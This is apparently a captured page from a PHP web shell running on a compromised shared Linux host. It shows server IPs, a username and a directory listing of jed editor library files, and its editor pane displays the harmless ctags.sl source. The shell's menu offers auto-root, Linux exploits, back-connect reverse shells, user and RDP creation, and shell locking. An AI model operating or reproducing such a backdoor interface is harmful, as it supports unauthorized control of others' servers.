Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
jed /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
colors
[ DIR ]
drwxr-xr-x
abbrev.sl
838
B
-rw-r--r--
abbrev.slc
636
B
-rw-r--r--
abbrmisc.sl
2.15
KB
-rw-r--r--
abbrmisc.slc
1.98
KB
-rw-r--r--
aboutjed.hlp
252
B
-rw-r--r--
acompile.sl
2.04
KB
-rw-r--r--
acompile.slc
2.02
KB
-rw-r--r--
aprocess.sl
267
B
-rw-r--r--
aprocess.slc
238
B
-rw-r--r--
ashell.sl
7.69
KB
-rw-r--r--
ashell.slc
6.96
KB
-rw-r--r--
backups.sl
1.41
KB
-rw-r--r--
backups.slc
637
B
-rw-r--r--
bibtex.sl
17.05
KB
-rw-r--r--
bibtex.slc
12.74
KB
-rw-r--r--
binary.sl
589
B
-rw-r--r--
binary.slc
522
B
-rw-r--r--
bookmark.sl
1.6
KB
-rw-r--r--
bookmark.slc
1.2
KB
-rw-r--r--
brief.sl
5.98
KB
-rw-r--r--
buf.sl
3.41
KB
-rw-r--r--
buf.slc
1.96
KB
-rw-r--r--
bufed.sl
6.69
KB
-rw-r--r--
bufed.slc
4.68
KB
-rw-r--r--
bytecomp.sl
3.38
KB
-rw-r--r--
cal.sl
6.4
KB
-rw-r--r--
cal.slc
4.44
KB
-rw-r--r--
chglog.sl
3.13
KB
-rw-r--r--
chglog.slc
2.62
KB
-rw-r--r--
cmisc.sl
4.91
KB
-rw-r--r--
cmisc.slc
4
KB
-rw-r--r--
cmode.dfa
7.58
KB
-rw-r--r--
cmode.sl
40.06
KB
-rw-r--r--
cmode.slc
27.9
KB
-rw-r--r--
comments.sl
7.99
KB
-rw-r--r--
comments.slc
5.93
KB
-rw-r--r--
compat.sl
1.39
KB
-rw-r--r--
compile.sl
11.44
KB
-rw-r--r--
compile.slc
5.83
KB
-rw-r--r--
compress.sl
3.12
KB
-rw-r--r--
compress.slc
2.73
KB
-rw-r--r--
cpright.hlp
464
B
-rw-r--r--
ctags.sl
9.53
KB
-rw-r--r--
ctags.slc
7.34
KB
-rw-r--r--
cua.hlp
385
B
-rw-r--r--
cua.sl
7.56
KB
-rw-r--r--
cua.slc
3.91
KB
-rw-r--r--
cuamisc.sl
5.7
KB
-rw-r--r--
cuamisc.slc
1.63
KB
-rw-r--r--
dabbrev.sl
13.77
KB
-rw-r--r--
dabbrev.slc
8.05
KB
-rw-r--r--
dcl.sl
4.68
KB
-rw-r--r--
dcl.slc
4.5
KB
-rw-r--r--
defaults.sl
1.07
KB
-rw-r--r--
digraph.sl
3.8
KB
-rw-r--r--
digraph.slc
1.04
KB
-rw-r--r--
dired.sl
17.78
KB
-rw-r--r--
dired.slc
12.69
KB
-rw-r--r--
docbook.sl
38.33
KB
-rw-r--r--
docbook.slc
38.41
KB
-rw-r--r--
dos437.sl
998
B
-rw-r--r--
dos850.sl
1.3
KB
-rw-r--r--
dos852.sl
1.14
KB
-rw-r--r--
edt.hlp
1.6
KB
-rw-r--r--
edt.sl
14.55
KB
-rw-r--r--
edt.slc
7.93
KB
-rw-r--r--
emacs.hlp
227
B
-rw-r--r--
emacs.sl
6.86
KB
-rw-r--r--
emacs.slc
6.31
KB
-rw-r--r--
emacsmsc.sl
3.52
KB
-rw-r--r--
emacsmsc.slc
3.52
KB
-rw-r--r--
emul.sl
87
B
-rw-r--r--
f90.sl
22.75
KB
-rw-r--r--
f90.slc
18.39
KB
-rw-r--r--
ff90.sl
56
B
-rw-r--r--
ff90.slc
82
B
-rw-r--r--
filter.sl
646
B
-rw-r--r--
filter.slc
562
B
-rw-r--r--
folding.sl
13.47
KB
-rw-r--r--
folding.slc
11.13
KB
-rw-r--r--
fortran.sl
10.65
KB
-rw-r--r--
fortran.slc
7.79
KB
-rw-r--r--
generic.hlp
135
B
-rw-r--r--
gpg.sl
4.89
KB
-rw-r--r--
gpg.slc
4.51
KB
-rw-r--r--
help.sl
15.37
KB
-rw-r--r--
help.slc
12
KB
-rw-r--r--
history.sl
5.73
KB
-rw-r--r--
history.slc
2.2
KB
-rw-r--r--
hooks.sl
1.95
KB
-rw-r--r--
hooks.slc
1.74
KB
-rw-r--r--
html.dfa
6.13
KB
-rw-r--r--
html.sl
13.63
KB
-rw-r--r--
html.slc
10.06
KB
-rw-r--r--
ide.hlp
1.25
KB
-rw-r--r--
ide.sl
22.57
KB
-rw-r--r--
ide.slc
20.07
KB
-rw-r--r--
idl.sl
5.58
KB
-rw-r--r--
idl.slc
5.34
KB
-rw-r--r--
info.sl
19.92
KB
-rw-r--r--
info.slc
17.16
KB
-rw-r--r--
isearch.sl
7.7
KB
-rw-r--r--
isearch.slc
5.01
KB
-rw-r--r--
iso-lat2.sl
963
B
-rw-r--r--
iso-lat2.slc
1010
B
-rw-r--r--
iso-lat3.sl
1.3
KB
-rw-r--r--
iso-lat3.slc
994
B
-rw-r--r--
iso-latin.sl
625
B
-rw-r--r--
iso-latin.slc
420
B
-rw-r--r--
iso2xxx.sl
1.77
KB
-rw-r--r--
iso2xxx.slc
1.39
KB
-rw-r--r--
ispell.sl
2.99
KB
-rw-r--r--
ispell.slc
2.26
KB
-rw-r--r--
javamode.dfa
7.59
KB
-rw-r--r--
javamode.sl
3.24
KB
-rw-r--r--
javamode.slc
3.29
KB
-rw-r--r--
jed.hlp
356
B
-rw-r--r--
jed.rc
9.43
KB
-rw-r--r--
jed.sl
3.57
KB
-rw-r--r--
jed.slc
4.01
KB
-rw-r--r--
jedhelp.sl
1.43
KB
-rw-r--r--
jedhelp.slc
1.49
KB
-rw-r--r--
jedusage.sl
967
B
-rw-r--r--
jedusage.slc
1.08
KB
-rw-r--r--
keycode.sl
4.46
KB
-rw-r--r--
keydefs.sl
9.21
KB
-rw-r--r--
keydefs.slc
6.63
KB
-rw-r--r--
krconv.sl
1.86
KB
-rw-r--r--
krconv.slc
1.45
KB
-rw-r--r--
latex.sl
27.01
KB
-rw-r--r--
latex.slc
20.94
KB
-rw-r--r--
latex209.sl
2.24
KB
-rw-r--r--
latex209.slc
1.57
KB
-rw-r--r--
linux.sl
821
B
-rw-r--r--
lisp.sl
1.21
KB
-rw-r--r--
lisp.slc
1.1
KB
-rw-r--r--
ltx-comp.dat
2.01
KB
-rw-r--r--
ltx-math.sl
4.12
KB
-rw-r--r--
ltx-math.slc
3.95
KB
-rw-r--r--
lua.sl
13.05
KB
-rw-r--r--
macro.sl
2.08
KB
-rw-r--r--
macro.slc
1.95
KB
-rw-r--r--
mail.sl
4.82
KB
-rw-r--r--
mail.slc
4.17
KB
-rw-r--r--
mailalias.sl
6.21
KB
-rw-r--r--
mailalias.slc
3.61
KB
-rw-r--r--
mailedit.sl
10.79
KB
-rw-r--r--
mailutils.sl
3.52
KB
-rw-r--r--
makemode.sl
6.83
KB
-rw-r--r--
man.sl
1.8
KB
-rw-r--r--
man.slc
948
B
-rw-r--r--
maple.sl
2.14
KB
-rw-r--r--
maple.slc
1.91
KB
-rw-r--r--
matlab.sl
5.07
KB
-rw-r--r--
matlab.slc
4.07
KB
-rw-r--r--
menu.sl
4.7
KB
-rw-r--r--
menu.slc
3.91
KB
-rw-r--r--
menus.sl
2.31
KB
-rw-r--r--
menus.slc
1.74
KB
-rw-r--r--
mime.sl
1.98
KB
-rw-r--r--
mime.slc
1.75
KB
-rw-r--r--
mimemisc.sl
684
B
-rw-r--r--
mimemisc.slc
733
B
-rw-r--r--
mini.sl
4.54
KB
-rw-r--r--
mini.slc
3.73
KB
-rw-r--r--
minued.sl
8.99
KB
-rw-r--r--
minued.slc
4.37
KB
-rw-r--r--
misc.sl
4.01
KB
-rw-r--r--
misc.slc
2.51
KB
-rw-r--r--
modehook.sl
3.71
KB
-rw-r--r--
modehook.slc
1.64
KB
-rw-r--r--
modeinfo.sl
1.6
KB
-rw-r--r--
modeinfo.slc
1.48
KB
-rw-r--r--
most.sl
3.64
KB
-rw-r--r--
most.slc
3.13
KB
-rw-r--r--
mouse.sl
5.15
KB
-rw-r--r--
mousex.sl
8.33
KB
-rw-r--r--
mousex.slc
4.36
KB
-rw-r--r--
mswmouse.sl
6.85
KB
-rw-r--r--
mutekeys.sl
3.19
KB
-rw-r--r--
mutekeys.slc
1.49
KB
-rw-r--r--
nroff.sl
1.09
KB
-rw-r--r--
nroff.slc
709
B
-rw-r--r--
occur.sl
1.48
KB
-rw-r--r--
occur.slc
1.03
KB
-rw-r--r--
os.sl
4.22
KB
-rw-r--r--
paste.sl
509
B
-rw-r--r--
paste.slc
485
B
-rw-r--r--
perl.sl
33.63
KB
-rw-r--r--
perl.slc
13.77
KB
-rw-r--r--
perlxtra.sl
13.1
KB
-rw-r--r--
perlxtra.slc
5.18
KB
-rw-r--r--
php.sl
83.23
KB
-rw-r--r--
php.slc
54.16
KB
-rw-r--r--
pipe.sl
567
B
-rw-r--r--
pipe.slc
579
B
-rw-r--r--
popups.sl
9.03
KB
-rw-r--r--
popups.slc
8.88
KB
-rw-r--r--
preparse.sl
1.69
KB
-rw-r--r--
pscript.dfa
21.64
KB
-rw-r--r--
pscript.sl
4.79
KB
-rw-r--r--
pscript.slc
4.3
KB
-rw-r--r--
pushmode.sl
1.84
KB
-rw-r--r--
pushmode.slc
1.55
KB
-rw-r--r--
pymode.sl
17.24
KB
-rw-r--r--
pymode.slc
12.9
KB
-rw-r--r--
python.dfa
6.54
KB
-rw-r--r--
rcs.sl
4.27
KB
-rw-r--r--
rcs.slc
2.86
KB
-rw-r--r--
recent.sl
4.53
KB
-rw-r--r--
recent.slc
2.73
KB
-rw-r--r--
recentx.sl
10.13
KB
-rw-r--r--
recentx.slc
6.38
KB
-rw-r--r--
regexp.sl
1.63
KB
-rw-r--r--
regexp.slc
1.54
KB
-rw-r--r--
register.sl
4.11
KB
-rw-r--r--
register.slc
3.1
KB
-rw-r--r--
replace.sl
1.39
KB
-rw-r--r--
replace.slc
1.09
KB
-rw-r--r--
rmail.sl
38.64
KB
-rw-r--r--
rmail.slc
35.99
KB
-rw-r--r--
rot13.sl
497
B
-rw-r--r--
rot13.slc
379
B
-rw-r--r--
runpgm.sl
690
B
-rw-r--r--
sccs.sl
4.33
KB
-rw-r--r--
sccs.slc
2.54
KB
-rw-r--r--
search.sl
2.5
KB
-rw-r--r--
search.slc
2.29
KB
-rw-r--r--
seldisp.sl
806
B
-rw-r--r--
seldisp.slc
617
B
-rw-r--r--
sendmail.sl
7.02
KB
-rw-r--r--
sendmail.slc
5.73
KB
-rw-r--r--
session.sl
5.91
KB
-rw-r--r--
session.slc
3.46
KB
-rw-r--r--
shell.sl
6.26
KB
-rw-r--r--
shell.slc
3.32
KB
-rw-r--r--
shmode.dfa
1.57
KB
-rw-r--r--
shmode.sl
2.33
KB
-rw-r--r--
shmode.slc
1.91
KB
-rw-r--r--
simple.hlp
407
B
-rw-r--r--
site.sl
76.36
KB
-rw-r--r--
site.slc
36.67
KB
-rw-r--r--
slmode.dfa
3.22
KB
-rw-r--r--
slmode.sl
7.1
KB
-rw-r--r--
slmode.slc
5.79
KB
-rw-r--r--
sort.sl
1.21
KB
-rw-r--r--
sort.slc
1.13
KB
-rw-r--r--
sortmisc.sl
751
B
-rw-r--r--
sortmisc.slc
546
B
-rw-r--r--
spicemod.sl
1.06
KB
-rw-r--r--
spicemod.slc
1.03
KB
-rw-r--r--
srchmisc.sl
3.22
KB
-rw-r--r--
srchmisc.slc
2.56
KB
-rw-r--r--
syncproc.sl
3.58
KB
-rw-r--r--
syncproc.slc
2.36
KB
-rw-r--r--
syntax.sl
3.05
KB
-rw-r--r--
syntax.slc
1.47
KB
-rw-r--r--
tabs.sl
1.39
KB
-rw-r--r--
tabs.slc
1.31
KB
-rw-r--r--
tclmode.dfa
4.69
KB
-rw-r--r--
tclmode.sl
10.41
KB
-rw-r--r--
tclmode.slc
6.11
KB
-rw-r--r--
tex.sl
2.39
KB
-rw-r--r--
tex.slc
779
B
-rw-r--r--
texcom.dfa
1.5
KB
-rw-r--r--
texcom.sl
4.75
KB
-rw-r--r--
texcom.slc
4.12
KB
-rw-r--r--
textmode.sl
2.05
KB
-rw-r--r--
textmode.slc
974
B
-rw-r--r--
tiasm.sl
1.16
KB
-rw-r--r--
tiasm.slc
1.11
KB
-rw-r--r--
tmisc.sl
841
B
-rw-r--r--
tmisc.slc
786
B
-rw-r--r--
tmmode.sl
2.01
KB
-rw-r--r--
tmmode.slc
1.65
KB
-rw-r--r--
tmpfile.sl
2.83
KB
-rw-r--r--
tmpfile.slc
1.56
KB
-rw-r--r--
tpascal.dfa
7.65
KB
-rw-r--r--
tpascal.sl
5.77
KB
-rw-r--r--
tpascal.slc
5.51
KB
-rw-r--r--
untab.sl
1021
B
-rw-r--r--
untab.slc
569
B
-rw-r--r--
util.sl
544
B
-rw-r--r--
util.slc
293
B
-rw-r--r--
verilog.sl
1.49
KB
-rw-r--r--
verilog.slc
1.52
KB
-rw-r--r--
vhdlmode.sl
8.45
KB
-rw-r--r--
vhdlmode.slc
5.6
KB
-rw-r--r--
vmshelp.sl
2.25
KB
-rw-r--r--
win1250.sl
1.29
KB
-rw-r--r--
wmark.sl
4.36
KB
-rw-r--r--
wmark.slc
3.61
KB
-rw-r--r--
wmenu.sl
4.72
KB
-rw-r--r--
wmenu.slc
4.86
KB
-rw-r--r--
wordstar.hlp
909
B
-rw-r--r--
wordstar.sl
15.56
KB
-rw-r--r--
wordstar.slc
13.93
KB
-rw-r--r--
xformreg.sl
1.7
KB
-rw-r--r--
xformreg.slc
1.36
KB
-rw-r--r--
yankpop.sl
2.21
KB
-rw-r--r--
yankpop.slc
2.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ctags.sl
% tags.sl -*- SLang -*- % % read a tags file produced by ctags/etags programs % % Public Functions: % ctags_forward % Go forward to the previous tag % ctags_backward % Go back to the previous position % ctags_find % Lookup a tag in the tags file and jump to the indicated position % ctags_popup_tag % Like ctags_find, except popup in a separate window % % Public Variables: % % Tags_file: The name of the tags file to use. The default is % "tags". % % Buffer Local Variables: % Tags_File: The name of the tag file to use % Word_Chars: The characters that make up a word custom_variable ("Tags_File", "tags"); private variable Position_Stack = NULL; private variable Position_Stack_Ptr = NULL; private define create_position () { variable s = struct { file, line, mark, next, prev }; s.mark = create_user_mark (); s.file = buffer_filename (); s.line = what_line (); return s; } private define save_position (s) { if (Position_Stack_Ptr != NULL) { Position_Stack_Ptr.next = s; s.prev = Position_Stack_Ptr; } else Position_Stack = s; Position_Stack_Ptr = s; } private define goto_position () { variable s = Position_Stack_Ptr; variable buf; EXIT_BLOCK { sw2buf (buf); } try { buf = user_mark_buffer (s.mark); if ((buf != whatbuf ()) && (s.file == "") && bufferp(buf)) sw2buf (buf); goto_user_mark (s.mark); return; } catch AnyError; () = read_file (s.file); goto_line (s.line); s.mark = create_user_mark (); buf = whatbuf (); } private define back_position () { if (Position_Stack_Ptr == NULL) verror ("Can't go back more"); variable s = Position_Stack_Ptr.prev; if (s == NULL) verror ("Can't go back more"); Position_Stack_Ptr = s; goto_position (); } private define forw_position () { if (Position_Stack_Ptr == NULL) verror ("Can't go forward"); variable s = Position_Stack_Ptr.next; if (s == NULL) verror ("Can't go forward"); Position_Stack_Ptr = s; goto_position (); } % ctags format: % function-name\tfilename\t/^function-prototype/ % typedef-name\tfilename\tline-number % Note: an extended format file will look like: % function-name\tfilename\t/^function-prototype$/;"TAB... private define _ctags_find (tag, sinfo) { variable n, file, proto; n = re_fsearch (strcat ("\\c^", tag, "\t+\\([^\t]+\\)\t+")); if (n == 0) { n = re_fsearch (strcat ("^", tag, "\t+\\([^\t]+\\)\t+")); if (n == 0) return NULL; } file = regexp_nth_match (1); variable dir; (,dir,,) = getbuf_info (); sinfo.file = dircat (dir, file); n--; go_right (n); if (looking_at ("/^")) { go_right (2); push_mark (); ifnot (ffind ("/;\"\t")) { eol (); bskip_chars ("\\\\$/"); } if (blooking_at ("$")) go_left (1); #ifexists strreplace proto = str_replace_all (bufsubstr (), "\\/", "/"); #else % Versions of slang prior to 1.4.1 do not have strreplace and % str_replace_all will fail unless something is done to trick it. proto = str_replace_all (bufsubstr (), "\\/", "\001\002\x7f"); proto = str_replace_all (proto, "\001\002\x7f", "/"); #endif sinfo.line = proto; } else { push_mark (); eol (); sinfo.line = atoi (bufsubstr ()); } return sinfo; } % etags format: % ^L % filename,some-number % [function-type] function-name ^?line-name,some-number private define etags_find (tag, sinfo) { variable file, line; variable re = "\x7F" + tag + "\x01" + `\(\d+\)`; ifnot (re_fsearch (re)) return NULL; line = integer (regexp_nth_match (1)); eol(); push_spot (); () = bol_bsearch (char (014)); % previous ^L go_down_1 (); push_mark (); skip_chars ("^,\n"); file = bufsubstr (); pop_spot (); sinfo.line = line; sinfo.file = file; return sinfo; } private define tag_search_forward (tag) { variable m = create_user_mark (); variable len = strlen (tag); variable syntax_table = what_syntax_table (); variable is_case_insensitive = ((syntax_table == NULL) ? 1 : get_syntax_flags (syntax_table) & 0x1); variable cs = CASE_SEARCH; CASE_SEARCH = not (is_case_insensitive); EXIT_BLOCK { CASE_SEARCH = cs; } variable wordchars = "\\w_"; while (fsearch (tag)) { bskip_chars (wordchars); push_mark (); skip_chars (wordchars); variable t = bufsubstr(); if ((t == tag) || (is_case_insensitive && (strup(t) == strup(tag)))) { bskip_chars (wordchars); return 1; } } goto_user_mark (m); return 0; } private define goto_tag (s, tag) { () = read_file (s.file); variable line = s.line; if (String_Type == typeof (line)) { bob (); () = bol_fsearch (line); } else goto_line (line); bol (); ifnot (tag_search_forward (tag)) { message ("Your tags file needs to be updated"); return; } } private define tags_find (find_method, tag) { variable s = Struct_Type[0]; forever { variable s1 = struct { file, line }; s1 = (@find_method) (tag, s1); if (s1 == NULL) break; s = [s, s1]; } if (length (s) == 0) verror ("Unable to find %s. Perhaps your tags file needs updated.", tag); return s; } private define locate_tags_file (tags_file) { variable dir; if (path_is_absolute (tags_file)) { if (1 == file_status (tags_file)) return tags_file; return NULL; } (,dir,,) = getbuf_info (); forever { variable file = dircat (dir, tags_file); if (1 == file_status (file)) return file; % This may need modified for non-Unix systems... #ifdef UNIX dir = expand_filename (dircat (dir, "../")); if (dir == "/") break; #elifdef IBMPC_SYSTEM dir = expand_filename (dircat (dir, "..\\")); if ((dir == "/") or (dir == "\\")) break; if (strlen (dir) == 3) { if (dir[1] == ':') break; } #elifdef VMS % Does this work? dir = expand_filename (dircat (dir, "[-]")); #endif } return NULL; } private define find_tags_file () { variable file, dir, dir1; variable tbuf = " *tags*"; file = get_blocal_var("Tags_File", Tags_File); file = locate_tags_file (file); if (file == NULL) error ("Unable to find a tags file"); (dir1,) = parse_filename (file); if (bufferp (tbuf)) { (,dir,,) = getbuf_info (tbuf); if (dir == dir1) return; } setbuf (tbuf); erase_buffer (); if (insert_file (file) < 0) error ("File tags not found!"); variable flags; (file,,tbuf,flags) = getbuf_info (); setbuf_info (file,dir1,tbuf,flags); } private define get_word_at_point (word_chars) { push_spot (); skip_white (); bskip_chars (word_chars); push_mark (); skip_chars (word_chars); variable tag = bufsubstr (); pop_spot (); return tag; } private define get_tag_at_point () { #ifexists _slang_utf8_ok variable word_chars = "\\w_"; #else variable word_chars = "0-9A-Za-z_"; #endif #ifdef VMS word_chars = strcat (word_chars, "$"); #endif word_chars = get_blocal_var ("Word_Chars", word_chars); return read_mini ("Find tag:", get_word_at_point (word_chars), ""); } define ctags_find () { variable tag; if (_NARGS == 1) tag = (); else tag = get_tag_at_point (); tag = strtrim (tag); ifnot (strlen (tag)) return; variable cbuf = whatbuf (); variable cpos = create_position (); find_tags_file (); bob (); variable find_method = &_ctags_find; if (looking_at_char (014)) % if first char is ^L (etags) find_method = &etags_find; variable s = tags_find (find_method, tag); goto_tag (s[0], tag); save_position (cpos); variable tag_pos = create_position (); save_position (tag_pos); sw2buf (whatbuf ()); } define ctags_forward () { forw_position (); } define ctags_backward () { back_position (); } % This function pops up a window containing a specified position but % leaves the point in the current window/buffer. private define popup_window_containing_buffer_position (m1) { variable m0 = create_user_mark (); variable m0buf = user_mark_buffer (m0); variable m1buf = user_mark_buffer (m1); variable cwindow = window_info ('t'); if (m0buf == m1buf) { % We may need to split this window if it is the only one % containing m0buf variable nwin = 0; loop (nwindows ()) { if (m0buf == whatbuf ()) nwin++; otherwindow (); } variable total_windows = nwindows (); if (MINIBUFFER_ACTIVE) total_windows--; if (nwin == 1) { if (total_windows == 1) splitwindow (); else loop (nwindows ()) { if ((whatbuf () != m0buf) and (whatbuf() != " <mini>")) { sw2buf (m0buf); break; } otherwindow (); } } } pop2buf (m1buf); goto_user_mark (m1); % Now go back to the original window. % If there are several windows that contain m0buf, find the one we % started from. loop (nwindows ()) { otherwindow (); if ((window_info ('t') == cwindow) and (m0 == create_user_mark ())) return; } % We could not find the window _and_ mark, so just look for the mark loop (nwindows ()) { if (m0 == create_user_mark ()) return; otherwindow (); } % Should not get here } define ctags_popup_tag () { variable m0 = create_user_mark (); ctags_find (); variable m1 = create_user_mark (); if (m0 == m1) return; % Restore the previous position sw2buf (user_mark_buffer (m0)); goto_user_mark (m0); % Popup a window containing the new position. popup_window_containing_buffer_position (m1); } % Compatibility define find_tag () { ctags_popup_tag (); }
Close
